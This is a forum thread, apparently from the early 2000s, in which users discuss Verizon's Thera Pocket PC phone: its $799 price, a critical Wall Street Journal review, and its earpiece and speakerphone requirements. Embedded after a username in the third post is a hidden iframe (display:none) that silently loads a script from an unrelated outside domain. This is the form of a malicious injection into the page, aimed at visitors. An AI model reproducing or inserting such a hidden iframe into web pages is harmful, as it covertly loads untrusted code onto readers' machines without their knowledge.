It did not take long for Micro$oft to catch up.

http://www.microsoft.com/presspass/p...NVerizonPR.asp


yannco<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Well, seems to be in stores.

http://www.verizonwireless.com/thera/popup.html

yannco

$799.99 Outch.

http://www.verizonwireless.com/ics/p...C%202002/Phone

yannco

No thanks. $799? .........please. Can you imagine if the 300 or 330 were $599 or even $699 how much better it'd be than anything conceivable? That Thera heap better be flawless or there'll be a lot of unhappy rookies out there.:p

__________________
H2Orange media

I understand that the Thera must be used with an earphone/microphone set-up vs. the built-in conventional earphone microphone we're used to on the I-300.

Is that correct?

__________________
Ahmed V. Ismail
A Smartphone Addict

I don't think I'd really call $799 "catching up". It's not even in the same class.

Danjp

I heard you could use it without an earphone, but you have to hold it upside down! (not confirmed)

Bob

yes apparently the speaker is on the bottom of the phone and the mic on top.

check this out:

found this on some website about the Thera. If its that bad I don't want that thing in my hands either.

__________________
H2Orange media

Walter Mossberg, Wall Street Journal Personal Technology reviewed the THERA and basically said it is a dud.

His main points include:

1) Clumsy as phone
2) Only fair as wireless data device
3) Pocket PC based
4) Expensive $800 with 2 year Verizon contract
5) Big and Boxy; Heavy
6) No keyboard or keypad
7) Can't use as one-handed phone (?while driving)
difficult to compose email
9) No 'flip phone'
10) Poor battery life: 90 min talk/data or 8 hr as PDA!!!!
11) Phone poorly integrated with PDA (eg: can dial number from Contact list; separate address book for phone use - I can't believe this - what is Microsoft doing with all their R&D money!!!)

He also panned Verizon, due to fact that one has to connect to Verizon each time (billing on per minute basis) and 1X not being anything to write home about.

Remember, it takes Microsoft three tries to get it right. The Thera compares well with Windows 3.1

Bob

In order to use the Thera as a phone, you must either:

1. Use an earpiece or
2. Use the speakerphone

It is not designed to be held up to the face like the I300. In the manual in the FCC documents, it states that these are the only two methods of using the phone portion in order to comply with exposure limits.